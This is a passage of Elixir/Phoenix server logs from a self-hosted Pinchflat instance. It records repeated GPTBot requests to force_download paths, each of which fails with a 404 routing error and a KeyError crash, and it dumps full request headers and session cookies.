+https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89342/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89342/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e0 (truncated) 02:18:31.490 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:40.646 [info] GET /sources/1/media/89337/force_download 02:18:40.647 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1002.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:40.648 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1002.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:40.648 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:18:40.649 [error] #PID<0.263825.0> running PinchflatWeb.Endpoint (connection #PID<0.263824.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89337/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89337/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263824.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89337/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43406}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263825.0>, params: %{}, path_info: ["sources", "1", "media", "89337", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89337/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKXFirvJjejNgAMXPC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263824.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89337/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43406}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89337/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263824.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89337/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43406}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a9 (truncated) 02:19:00.745 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:01.492 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:19.815 [info] GET /sources/1/media/89338/force_download 02:19:19.816 [debug] QUERY OK source="settings" db=0.3ms idle=1171.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:19:19.817 [debug] QUERY OK source="settings" db=0.3ms idle=1171.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:19:19.817 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:19:19.818 [error] #PID<0.263831.0> running PinchflatWeb.Endpoint (connection #PID<0.263830.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89338/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89338/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263830.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89338/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59004}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263831.0>, params: %{}, path_info: ["sources", "1", "media", "89338", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89338/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKZXdPo5r8BpMAMXQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263830.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89338/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59004}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89338/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263830.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89338/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59004}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a9 (truncated) 02:19:31.493 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.746 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:01.495 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:15.457 [info] GET /sources/5/media/100350/force_download 02:20:15.457 [debug] QUERY OK source="settings" db=0.3ms idle=812.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:15.458 [debug] QUERY OK source="settings" db=0.3ms idle=812.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:15.458 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:20:15.459 [error] #PID<0.263838.0> running PinchflatWeb.Endpoint (connection #PID<0.263837.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/media/100350/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/media/100350/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/100350/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53100}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263838.0>, params: %{}, path_info: ["sources", "5", "media", "100350", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/5/media/100350/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKcmvMFtJ_lmkAMXRC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/100350/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53100}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/media/100350/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/100350/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53100}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "ade (truncated) 02:20:31.497 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.747 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:01.499 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:19.068 [info] GET /sources/4/media/102835/force_download 02:21:19.069 [debug] QUERY OK source="settings" db=0.3ms idle=655.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:21:19.069 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=424.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:21:19.070 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:21:19.070 [error] #PID<0.263846.0> running PinchflatWeb.Endpoint (connection #PID<0.263845.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/102835/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102835/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ 